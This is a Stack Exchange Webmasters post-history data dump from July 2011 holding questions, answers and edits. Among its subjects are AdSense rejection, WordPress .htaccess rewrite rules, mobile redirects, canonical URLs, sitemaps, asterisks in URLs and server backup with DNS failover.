  <row Id="40089" PostHistoryTypeId="2" PostId="16769" RevisionGUID="83b2e38b-066b-4c15-9098-e09f3a96340d" CreationDate="2011-07-13T10:23:08.090" UserId="8935" Text=" I tried to submit my site for google adsense . and it rejected twice saying that it is following google guidelines ...   i Request any body go through my website  and post your answer here  why my site rejected .. i have Adword account   which runs everyday.  my site is &#xD;&#xA;[Sulabhloan.com][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sulabhloan.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I will post further details will post if you ask " />
  <row Id="40090" PostHistoryTypeId="1" PostId="16769" RevisionGUID="83b2e38b-066b-4c15-9098-e09f3a96340d" CreationDate="2011-07-13T10:23:08.090" UserId="8935" Text="why my site disaaproved by google Adsense" />
  <row Id="40091" PostHistoryTypeId="3" PostId="16769" RevisionGUID="83b2e38b-066b-4c15-9098-e09f3a96340d" CreationDate="2011-07-13T10:23:08.090" UserId="8935" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="40092" PostHistoryTypeId="8" PostId="16763" RevisionGUID="be43855f-90eb-4339-8338-6487033e1734" CreationDate="2011-07-13T10:24:11.340" UserId="7198" Comment="Rollback to [36c19113-f6f1-44d3-910f-47552689b76a]" Text="Generate a WordPress-specific `.htaccess` file in your `/blog/` directory by logging into the WordPress admin area, clicking 'Permalinks' (under the 'Settings' header), scrolling to the bottom of the page, and clicking 'Save Changes'. &#xD;&#xA;&#xD;&#xA;This will force WordPress to create its default `.htaccess` file in your `/blog/` directory, which includes all mod_rewrite rules. If you see a message stating that the `.htaccess` file couldn't be created, copy the code in the error message and create the `.htaccess` file yourself. By default, the WordPress `.htaccess` rules should override the rules of your typo3 installation, so both CMSes should co-exist happily.&#xD;&#xA;&#xD;&#xA;If you don't see an `.htaccess` file or an error message, create the [default .htaccess file](http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29) manually containing the following, which specifies the subdirectory you installed WordPress in as `/blog/`:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /blog/&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    # END WordPress" />
  <row Id="40093" PostHistoryTypeId="5" PostId="16769" RevisionGUID="c05dcae5-b151-4ebe-825b-609a28b6f462" CreationDate="2011-07-13T10:26:44.110" UserId="1643" Comment="fix various typos" Text="I tried to submit my site for google adsense and it was rejected twice saying that it is not following google guidelines. I request that anybody go through my website and post your answer here as to why my site is rejected. I have Adword account which runs everyday.  My site is &#xD;&#xA;[Sulabhloan.com][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sulabhloan.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I will post further details if you ask." />
  <row Id="40094" PostHistoryTypeId="4" PostId="16769" RevisionGUID="c05dcae5-b151-4ebe-825b-609a28b6f462" CreationDate="2011-07-13T10:26:44.110" UserId="1643" Comment="fix various typos" Text="Why is my site not approved by Google Adsense?" />
  <row Id="40095" PostHistoryTypeId="8" PostId="16763" RevisionGUID="bcc92945-55ae-448a-819a-9a04d61d5808" CreationDate="2011-07-13T10:34:02.207" UserId="7198" Comment="Rollback to [acbcbb76-6b56-4ac6-9272-aa1209ec73b8]" Text="Generate a WordPress-specific `.htaccess` file in your `/blog/` directory by logging into the WordPress admin area, clicking 'Permalinks' (under the 'Settings' header), scrolling to the bottom of the page, and clicking 'Save Changes'. &#xD;&#xA;&#xD;&#xA;This will force WordPress to create its default `.htaccess` file in your `/blog/` directory, which includes all mod_rewrite rules. If you see a message stating that the `.htaccess` file couldn't be created, copy the code in the error message and create the `.htaccess` file yourself. By default, the WordPress `.htaccess` rules should override the rules of your typo3 installation, so both CMSes should co-exist happily.&#xD;&#xA;&#xD;&#xA;If you don't see an `.htaccess` file or an error message, create the [default .htaccess file](http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29) manually containing the following, which specifies the subdirectory you installed WordPress in as `/blog/`:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /blog/&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /blog/index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    # END WordPress" />
  <row Id="40096" PostHistoryTypeId="2" PostId="16770" RevisionGUID="763c8bc8-0561-413d-8249-f52cc6bdac76" CreationDate="2011-07-13T10:51:36.480" UserId="8922" Text="Looking for help on deciding how to redirect users to a mobile optimized version of my site (m.mysite.com).&#xD;&#xA;&#xD;&#xA;Looking at two methods:&#xD;&#xA;&#xD;&#xA; 1. Server configuration (.htaccess or even varnish)&#xD;&#xA; 2. Webapp (php)&#xD;&#xA;&#xD;&#xA;The problem I see with #1 is with the &quot;view full site&quot; link on the mobile site.  If a user clicks that link and they go to mysite.com won't the server just redirect them back to m.mysite.com?&#xD;&#xA;&#xD;&#xA;For #2 I could create a cookie that is checked in addition to the user agent.&#xD;&#xA;&#xD;&#xA;Any suggestions/comments?  Is there a better way to &quot;remember&quot; if the user clicked &quot;visit full site&quot;?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Kevin&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40097" PostHistoryTypeId="1" PostId="16770" RevisionGUID="763c8bc8-0561-413d-8249-f52cc6bdac76" CreationDate="2011-07-13T10:51:36.480" UserId="8922" Text="Mobile redirect strategy" />
  <row Id="40098" PostHistoryTypeId="3" PostId="16770" RevisionGUID="763c8bc8-0561-413d-8249-f52cc6bdac76" CreationDate="2011-07-13T10:51:36.480" UserId="8922" Text="&lt;server&gt;&lt;mobile&gt;&lt;detection&gt;" />
  <row Id="40103" PostHistoryTypeId="5" PostId="16769" RevisionGUID="89338b29-de20-4ea6-8c02-95b055cda3ec" CreationDate="2011-07-13T11:41:44.753" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why My Adsense Account is not accepted](http://webmasters.stackexchange.com/questions/14256/why-my-adsense-account-is-not-accepted)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I tried to submit my site for google adsense and it was rejected twice saying that it is not following google guidelines. I request that anybody go through my website and post your answer here as to why my site is rejected. I have Adword account which runs everyday.  My site is &#xD;&#xA;[Sulabhloan.com][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sulabhloan.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I will post further details if you ask." />
  <row Id="40104" PostHistoryTypeId="10" PostId="16769" RevisionGUID="7a8e9d92-0aeb-487f-b89f-e208b46f8545" CreationDate="2011-07-13T11:41:44.533" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40105" PostHistoryTypeId="5" PostId="16756" RevisionGUID="09fcee48-63d5-4969-9823-b798809afb28" CreationDate="2011-07-13T11:44:20.100" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Alot of Pirated Material on Someone&amp;#39;s Website - What Can Be Done?](http://webmasters.stackexchange.com/questions/9861/alot-of-pirated-material-on-someones-website-what-can-be-done)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;If someone else is copying my website's content then what should I do? " />
  <row Id="40106" PostHistoryTypeId="10" PostId="16756" RevisionGUID="0ee1e5fe-6e6e-4ab0-8f0d-60a4f5be3915" CreationDate="2011-07-13T11:44:19.867" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40110" PostHistoryTypeId="2" PostId="16773" RevisionGUID="5b0c90f3-5e2b-4198-8da5-db26d036e8a5" CreationDate="2011-07-13T11:51:35.997" UserId="1253" Text="In addition to Nick's answer, if you're going to reproduce the content from another website, you should use canonical URLs referring to the original source so search engines know which content is the original work. &#xD;&#xA;&#xD;&#xA;Also, from an seo point of view, reproducing another website's content will have no SEO value to you as it will be filtered out as duplicate content." />
  <row Id="40111" PostHistoryTypeId="16" PostId="16766" RevisionGUID="4d9aa627-94c4-493f-8821-395ed1edf73a" CreationDate="2011-07-13T11:59:34.130" UserId="1253" />
  <row Id="40112" PostHistoryTypeId="2" PostId="16774" RevisionGUID="7cdec8a9-59a8-4451-9b1d-a53dcbe30bb9" CreationDate="2011-07-13T12:16:34.650" UserId="8937" Text="Say I have a website that requires a login, hosted somewhere remote. I would like to make a portal that shows this remote site but should always be logged in with the same user name and password on this remote site. If possible the portal should ask for a username and password and then use an iframe ( or something similar now that they are being phased out)&#xD;&#xA;to display this remote site where you shoudl be logged in.&#xD;&#xA;&#xD;&#xA;I would like to know if there is a web-ap for something like this, if not whether this would be possible to create.&#xD;&#xA;&#xD;&#xA;I do have access to a VPS running centos 64bit and a managed host." />
  <row Id="40113" PostHistoryTypeId="1" PostId="16774" RevisionGUID="7cdec8a9-59a8-4451-9b1d-a53dcbe30bb9" CreationDate="2011-07-13T12:16:34.650" UserId="8937" Text="Web Portal to other site and already logged in" />
  <row Id="40114" PostHistoryTypeId="3" PostId="16774" RevisionGUID="7cdec8a9-59a8-4451-9b1d-a53dcbe30bb9" CreationDate="2011-07-13T12:16:34.650" UserId="8937" Text="&lt;web-development&gt;&lt;web-applications&gt;" />
  <row Id="40115" PostHistoryTypeId="2" PostId="16775" RevisionGUID="56a806ae-5f65-4d5b-8007-97d28a1a0716" CreationDate="2011-07-13T12:25:58.383" UserId="7962" Text="Is it mandatory that you use the entire article or post? You should be fine so long you only reproduce part of the content and invite your visitors to read the rest of it in the original website.&#xD;&#xA;&#xD;&#xA;It's not a copyright infringiment if you're just mentioning it, think of it as a quote. To avoid losing visitors to the sites you link, it's important you describe the content with your own words and, of course, produce content of your own." />
  <row Id="40116" PostHistoryTypeId="25" PostId="16770" RevisionGUID="e26e3c63-244f-492b-8ffd-7c3664261fd9" CreationDate="2011-07-13T12:31:29.450" Comment="http://twitter.com/#!/StackWebmasters/status/91122569964556289" />
  <row Id="40117" PostHistoryTypeId="2" PostId="16776" RevisionGUID="31afee95-e307-4897-bb59-b3760c3cf644" CreationDate="2011-07-13T13:09:08.087" UserId="1253" Text="Have you looked into [OpenID][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openid.net/" />
  <row Id="40118" PostHistoryTypeId="4" PostId="16774" RevisionGUID="19af3ae8-fef8-4f3f-ad04-9b0b9f481884" CreationDate="2011-07-13T13:10:29.363" UserId="1253" Comment="modified tags, title" Text="How do I display content from another website that requires the user being logged in?" />
  <row Id="40119" PostHistoryTypeId="6" PostId="16774" RevisionGUID="19af3ae8-fef8-4f3f-ad04-9b0b9f481884" CreationDate="2011-07-13T13:10:29.363" UserId="1253" Comment="modified tags, title" Text="&lt;web-development&gt;&lt;web-applications&gt;&lt;login&gt;" />
  <row Id="40120" PostHistoryTypeId="6" PostId="16766" RevisionGUID="f2e9cf28-f885-4b92-843e-12950c53d8ef" CreationDate="2011-07-13T13:11:45.383" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="40127" PostHistoryTypeId="2" PostId="16778" RevisionGUID="3f0bb0b9-da3b-40ee-b32d-8e86fefd17b2" CreationDate="2011-07-13T13:50:29.130" UserId="8939" Text="I would like to know what the best way is to have google index pages that visitors access through search on my website.&#xD;&#xA;&#xD;&#xA;These pages are accessible through a direct link like mywebsite.com/CompanyId.&#xD;&#xA;&#xD;&#xA;Should i create index pages and list all of my content there so there is a direct link from my website to every page? Or is putting them in a sitemap enough?&#xD;&#xA;&#xD;&#xA;It's a yellow pages kind of website with company information." />
  <row Id="40128" PostHistoryTypeId="1" PostId="16778" RevisionGUID="3f0bb0b9-da3b-40ee-b32d-8e86fefd17b2" CreationDate="2011-07-13T13:50:29.130" UserId="8939" Text="Indexing pages from own search engine" />
  <row Id="40129" PostHistoryTypeId="3" PostId="16778" RevisionGUID="3f0bb0b9-da3b-40ee-b32d-8e86fefd17b2" CreationDate="2011-07-13T13:50:29.130" UserId="8939" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;google-search&gt;" />
  <row Id="40131" PostHistoryTypeId="2" PostId="16780" RevisionGUID="b23071f5-7881-479e-a8fa-662952cbaab7" CreationDate="2011-07-13T13:58:54.813" UserId="1253" Text="Putting them in an XML sitemap should work well enough. But if you really want to be thorough you can also put the most popular searches in an HTML sitemap. You can also have a page that shows the most recent searches which allows Google to find even more search result pages within your site. And since that page will continually change, assuming Google will continue to crawl search result pages even though they aren't linked to anymore, you can be sure Google is finding new pages with fresh content. " />
  <row Id="40133" PostHistoryTypeId="2" PostId="16781" RevisionGUID="2354a714-1ad1-4fa2-a6a9-6e8d24750bb7" CreationDate="2011-07-13T15:00:58.953" UserId="6989" Text="I have a zen cart shop with a costumized template and for now there is a slideshow gallery under the header. I need to keep this gallery for the first page only, but on all the other pages there should be distinct banners instead of the gallery, relative to the visited page. e.g. on the &quot;about us&quot; page there should be banner_aboutus.ext, contact =&gt; banner_contact.ext and so on. Please help me do this.&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="40134" PostHistoryTypeId="1" PostId="16781" RevisionGUID="2354a714-1ad1-4fa2-a6a9-6e8d24750bb7" CreationDate="2011-07-13T15:00:58.953" UserId="6989" Text="Zen Cart - different banners for each page" />
  <row Id="40135" PostHistoryTypeId="3" PostId="16781" RevisionGUID="2354a714-1ad1-4fa2-a6a9-6e8d24750bb7" CreationDate="2011-07-13T15:00:58.953" UserId="6989" Text="&lt;html&gt;&lt;css&gt;&lt;php&gt;&lt;cms&gt;&lt;zen-cart&gt;" />
  <row Id="40136" PostHistoryTypeId="5" PostId="5449" RevisionGUID="726eea80-6bbc-46e6-8d29-d20151c78858" CreationDate="2011-07-13T15:20:30.297" UserId="233" Comment="edited body" Text="Google indexes certain documents like PDFs and Word files perfectly fine. But it places a much larger weight on regular web pages. This is mainly to avoid &quot;breaking the web&quot; by forcing the user into a different program (Adobe Reader etc). Cross-platform compatibility is an issue too.&#xD;&#xA;&#xD;&#xA;The best way to get your documents ranking higher in search engines is to convert them to web pages. You could convert them to static, isolated web pages (there are surely many converter apps around), although  integrating them into your site design would be much more effective. You can then include appropriate titles and headings, which aid in ranking, as well as cross-linking documents." />
  <row Id="40137" PostHistoryTypeId="25" PostId="16781" RevisionGUID="c084aabe-1721-409e-a423-7c19b74b4e08" CreationDate="2011-07-13T15:31:29.830" Comment="http://twitter.com/#!/StackWebmasters/status/91167871819976704" />
  <row Id="40138" PostHistoryTypeId="5" PostId="15886" RevisionGUID="c5b502e6-5e03-4e9d-b83a-c137c19129cb" CreationDate="2011-07-13T15:44:00.540" UserId="7198" Comment="added example of asterisks in URLs in the wild" Text="###On using Asterix in URLs&#xD;&#xA;&#xD;&#xA;Using an [Asterix](http://www.asterix.com/) in your URL is probably not such a great idea, largely because:&#xD;&#xA;&#xD;&#xA; 1. Neither UTF-8 or ASCII is currently able to denote an Asterix.&#xD;&#xA; 2. He would be little more than a smudge in a standard browser address bar.&#xD;&#xA; 3. I doubt he'd like it very much. And he has some quite large friends.&#xD;&#xA; 4. It's just weird.&#xD;&#xA;&#xD;&#xA;###On using *Asterisks* in URLs&#xD;&#xA;Using an asterisk (*) in a URL (and, yes, I know that's what you meant all along) is also not such a great idea. Because it's a [reserved character,](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html) it's not used anywhere else; even though your URL scheme seems user-friendly to you, few will think to try it, and it's likely to give unpredictable results because the meaning of wildcards in URLs is hard to discern. (I couldn't tell what all of your examples meant until I read your descriptions.)&#xD;&#xA;&#xD;&#xA;Not only that, but there might be some more semantic/meaningful ways to do what you describe. For example, you could append a query string and use a 'find' and 'where' variable to tell your method what to find where:&#xD;&#xA;&#xD;&#xA;Find pages starting with 'search phrase' in `/some/folder/`:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;Find pages with 'search phrase' anywhere:&#xD;&#xA;&#xD;&#xA;`example.com/some/?find=search-phrase&amp;where=anywhere`&#xD;&#xA;&#xD;&#xA;To show all pages, I would use a separate method called 'all' instead of a query string or wildcard syntax:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/all`&#xD;&#xA;&#xD;&#xA;The query string syntax is *far* more common than asterisks -- look in your address bar next time you do a Google search, for example -- and it will likely be easier to code too.&#xD;&#xA;&#xD;&#xA;Finally, if you don't like the look of query strings, you could prepend a method name called 'search' and then use the next two blocks as the 'find' and 'where' variables. e.g. Instead of: &#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;You could have:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/search/search-phrase/start`&#xD;&#xA;&#xD;&#xA;Then, you just need to check for the 'search' keyword in your URL path, and trigger the your search method using the next two path segments as variables.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;**UPDATE:** I found my first asterisk in a URL today. The new archive.org interface is using it exactly as you describe (as part of a search feature), in place of an 'all' keyword. e.g.:&#xD;&#xA;&#xD;&#xA;`http://wayback.archive.org/web/*/http://google.com`&#xD;&#xA;&#xD;&#xA;instead of &#xD;&#xA;&#xD;&#xA;`http://web.archive.org/web/20040214050058/http://www.google.com/`&#xD;&#xA;&#xD;&#xA;The first example returns archived listings from **all** dates for google.com, rather than just pages from a certain date (second example). [Live search result here.](http://wayback.archive.org/web/*/http://google.com)&#xD;&#xA;&#xD;&#xA;I still think it's not quite as clear as 'all', but, if you're looking for examples of other sites adopting asterisks in their URLs, that's the first one I've seen.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/wmLH0.gif" />
  <row Id="40139" PostHistoryTypeId="2" PostId="16782" RevisionGUID="8b165f32-f0e1-489f-ab0d-be7bdf9908ac" CreationDate="2011-07-13T15:47:23.953" UserId="8942" Text="I'd like to provide my clients a portal to view status, mockups, links to resources, etc...  I don't need anything terribly complex, but I would rather grab something that's already out there than write it myself right now (plenty of client work to do!).&#xD;&#xA;&#xD;&#xA;Any ideas?  Suggestions?" />
  <row Id="40140" PostHistoryTypeId="1" PostId="16782" RevisionGUID="8b165f32-f0e1-489f-ab0d-be7bdf9908ac" CreationDate="2011-07-13T15:47:23.953" UserId="8942" Text="Open source client portal software?" />
  <row Id="40141" PostHistoryTypeId="3" PostId="16782" RevisionGUID="8b165f32-f0e1-489f-ab0d-be7bdf9908ac" CreationDate="2011-07-13T15:47:23.953" UserId="8942" Text="&lt;development&gt;&lt;software&gt;&lt;clients&gt;" />
  <row Id="40142" PostHistoryTypeId="2" PostId="16783" RevisionGUID="58530f0b-59d8-4ca5-9ea6-b8b0a79b6d78" CreationDate="2011-07-13T15:48:10.147" UserId="8939" Text="I have 3 urls leading to same page&#xD;&#xA;&#xD;&#xA;// as most pages are in google, my previous website's version&#xD;&#xA;&#xD;&#xA;    http://mysite.com/1234.aspx&#xD;&#xA;&#xD;&#xA;// shortcut&#xD;&#xA;&#xD;&#xA;    http://mysite.com/1234&#xD;&#xA;&#xD;&#xA;// SEO url&#xD;&#xA;&#xD;&#xA;    http://mysite.com/1234/state/city/company-name&#xD;&#xA;&#xD;&#xA;Should i put a permanent redirect in the first two urls so google considers it one page and not as 3 different pages?&#xD;&#xA;&#xD;&#xA;Any tips welcome.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40143" PostHistoryTypeId="1" PostId="16783" RevisionGUID="58530f0b-59d8-4ca5-9ea6-b8b0a79b6d78" CreationDate="2011-07-13T15:48:10.147" UserId="8939" Text="Different urls to same page and redirect" />
  <row Id="40144" PostHistoryTypeId="3" PostId="16783" RevisionGUID="58530f0b-59d8-4ca5-9ea6-b8b0a79b6d78" CreationDate="2011-07-13T15:48:10.147" UserId="8939" Text="&lt;seo&gt;&lt;url-rewriting&gt;" />
  <row Id="40145" PostHistoryTypeId="5" PostId="15886" RevisionGUID="833735fd-060e-4b8d-b9d0-9a8f68fdeb9d" CreationDate="2011-07-13T15:49:34.903" UserId="7198" Comment="added example of asterisks in URLs in the wild" Text="###On using Asterix in URLs&#xD;&#xA;&#xD;&#xA;Using an [Asterix](http://www.asterix.com/) in your URL is probably not such a great idea, largely because:&#xD;&#xA;&#xD;&#xA; 1. Neither UTF-8 or ASCII is currently able to denote an Asterix.&#xD;&#xA; 2. He would be little more than a smudge in a standard browser address bar.&#xD;&#xA; 3. I doubt he'd like it very much. And he has some quite large friends.&#xD;&#xA; 4. It's just weird.&#xD;&#xA;&#xD;&#xA;###On using *Asterisks* in URLs&#xD;&#xA;Using an asterisk (*) in a URL (and, yes, I know that's what you meant all along) is also not such a great idea. Because it's a [reserved character,](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html) it's not used anywhere else; even though your URL scheme seems user-friendly to you, few will think to try it, and it's likely to give unpredictable results because the meaning of wildcards in URLs is hard to discern. (I couldn't tell what all of your examples meant until I read your descriptions.)&#xD;&#xA;&#xD;&#xA;Not only that, but there might be some more semantic/meaningful ways to do what you describe. For example, you could append a query string and use a 'find' and 'where' variable to tell your method what to find where:&#xD;&#xA;&#xD;&#xA;Find pages starting with 'search phrase' in `/some/folder/`:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;Find pages with 'search phrase' anywhere:&#xD;&#xA;&#xD;&#xA;`example.com/some/?find=search-phrase&amp;where=anywhere`&#xD;&#xA;&#xD;&#xA;To show all pages, I would use a separate method called 'all' instead of a query string or wildcard syntax:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/all`&#xD;&#xA;&#xD;&#xA;The query string syntax is *far* more common than asterisks -- look in your address bar next time you do a Google search, for example -- and it will likely be easier to code too.&#xD;&#xA;&#xD;&#xA;Finally, if you don't like the look of query strings, you could prepend a method name called 'search' and then use the next two blocks as the 'find' and 'where' variables. e.g. Instead of: &#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;You could have:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/search/search-phrase/start`&#xD;&#xA;&#xD;&#xA;Then, you just need to check for the 'search' keyword in your URL path, and trigger the your search method using the next two path segments as variables.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;**UPDATE:** I found my first asterisk in a URL today. The new archive.org interface is using it exactly as you describe (as part of a search feature), in place of an 'all' keyword. e.g.:&#xD;&#xA;&#xD;&#xA;`http://wayback.archive.org/web/*/http://google.com`&#xD;&#xA;&#xD;&#xA;instead of &#xD;&#xA;&#xD;&#xA;`http://web.archive.org/web/20040214050058/http://www.google.com/`&#xD;&#xA;&#xD;&#xA;The first example returns archived listings from **all** dates for google.com, rather than just pages from a certain date (second example). Interestingly, I can't link to the live page here, because the Stack Exchange site encodes the `*` character as `%2a` when it appears in URLs, which results in a 404 from archive.org. (Perhaps another reason not to use asterisks in URLs.)&#xD;&#xA;&#xD;&#xA;I still think it's not quite as clear as 'all', but, if you're looking for examples of other sites adopting asterisks in their URLs, that's the first one I've seen.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/wmLH0.gif" />
  <row Id="40146" PostHistoryTypeId="2" PostId="16784" RevisionGUID="dd116512-c9dd-40f4-a80f-0c9bf96212fe" CreationDate="2011-07-13T15:53:18.137" UserId="1643" Text="Yes! That should be enough to make sure search engines treat it as one page." />
  <row Id="40147" PostHistoryTypeId="2" PostId="16785" RevisionGUID="8d4bca4a-b636-47cd-b191-52fc9050c74a" CreationDate="2011-07-13T16:17:14.210" UserId="1253" Text="If you want to be extra certain they treat them all as one page, use canonical URLs. Just put this at the top of the page:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://mysite.com/1234/state/city/company-name&quot;&gt;" />
  <row Id="40148" PostHistoryTypeId="6" PostId="16782" RevisionGUID="998d1f5a-a56b-4a1a-a907-ab5b739cb37c" CreationDate="2011-07-13T16:19:10.213" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;development&gt;&lt;software&gt;" />
  <row Id="40149" PostHistoryTypeId="2" PostId="16786" RevisionGUID="1c6b4c03-3d9c-4ec8-9ae5-cd8f715da4f9" CreationDate="2011-07-13T17:17:38.043" UserId="7198" Text="I'd suggest that you:&#xD;&#xA;&#xD;&#xA;1. **Automatically mirror the entire contents and configuration of your main server** to a secondary backup server on a completely separate network in a different data centre. Use RSync, FXP, cPanel voodoo, or whatever method you wish to automate syncing.&#xD;&#xA;&#xD;&#xA;2. **Use DNS failover switching** to automatically route traffic to the backup server should the Hostgator server prove unresponsive.&#xD;&#xA;&#xD;&#xA;This means that you constantly have a 'hot' backup waiting to go should the worst happen, rather than a 'cold' backup that requires manual intervention and much scrambling around and panicking. It also means that your clients will never know that their site went down before you did, which can be distressing for everyone.&#xD;&#xA;&#xD;&#xA;You can set up failover DNS using a provider such as [DNS Made Easy](http://www.dnsmadeeasy.com/enterprisedns/dnsfailover.html). For each domain you're hosting, you would set up up to five backup IP addresses, one for each of your backup servers. Once that's done...&#xD;&#xA;&#xD;&#xA;1. DNS Made Easy checks your primary server ever two-to-four minutes and, if it doesn't detect a response, it routes traffic to the secondary IP address.&#xD;&#xA;&#xD;&#xA;2. DNS Made Easy continues to check the primary server. When it comes up, it will reroute traffic to the first server, or—if you prefer—keep it at the backup while you diagnose what went wrong and fix the primary server.&#xD;&#xA;&#xD;&#xA;Of course, this solution will raise your operating costs, which you'll have to pass on to clients somehow, but—if you're in an industry where downtime would put you out of business—paying for a largely redundant server is probably worth it for that one time it saves the company.&#xD;&#xA;&#xD;&#xA;Beyond that:&#xD;&#xA;&#xD;&#xA;###Duplicate, duplicate, duplicate&#xD;&#xA;The more independent backups you have, the better. I store remote backups on a local hard drive, which is mirrored to an external hard drive, to Dropbox, a git repository, and a remote FTP account. Take no chances. Duplicate as much as you can. If you have to restore from a manual backup, it's better to have a choice of five than a choice of one. Paranoia is underrated.&#xD;&#xA;&#xD;&#xA;###Practise restoring the backups manually&#xD;&#xA;If you've never tried to recover from one of your backups, how do you know that they work? It's worth doing emergency drills to see what would happen should your automated procedures fail." />
  <row Id="40150" PostHistoryTypeId="5" PostId="16782" RevisionGUID="4375827c-79b8-4621-b634-199db9ec0523" CreationDate="2011-07-13T17:19:53.527" UserId="8942" Comment="added 190 characters in body" Text="I'd like to provide my clients a portal to view status, mockups, links to resources, etc...  I don't need anything terribly complex, but I would rather grab something that's already out there than write it myself right now (plenty of client work to do!).&#xD;&#xA;&#xD;&#xA;Any ideas?  Suggestions?&#xD;&#xA;&#xD;&#xA;Edit: Web development for fairly small busineeses.  These are typically 3-6 month projects with 2-3 iterations per month.  It's really just to demonstrate progress in an orderly fashion." />
  <row Id="40151" PostHistoryTypeId="2" PostId="16787" RevisionGUID="d79caeb7-6d9b-4212-9426-f487238a0021" CreationDate="2011-07-13T18:25:59.773" UserId="8939" Text="I want to show Adsense in search results that come from my database. &#xD;&#xA;&#xD;&#xA;How could google adsense bot determine what ads to show? Does it do so on the flow, i mean, there is no previous page it can visit to determine keywords if the results are dynamic.&#xD;&#xA;&#xD;&#xA;What should i do in order Adsense shows relevant ads?" />
  <row Id="40152" PostHistoryTypeId="1" PostId="16787" RevisionGUID="d79caeb7-6d9b-4212-9426-f487238a0021" CreationDate="2011-07-13T18:25:59.773" UserId="8939" Text="Google adsense and dynamic pages" />
  <row Id="40153" PostHistoryTypeId="3" PostId="16787" RevisionGUID="d79caeb7-6d9b-4212-9426-f487238a0021" CreationDate="2011-07-13T18:25:59.773" UserId="8939" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="40154" PostHistoryTypeId="25" PostId="16783" RevisionGUID="5bdacf40-9be9-4bdd-9249-8e6016eab864" CreationDate="2011-07-13T18:31:31.130" Comment="http://twitter.com/#!/StackWebmasters/status/91213174925312000" />
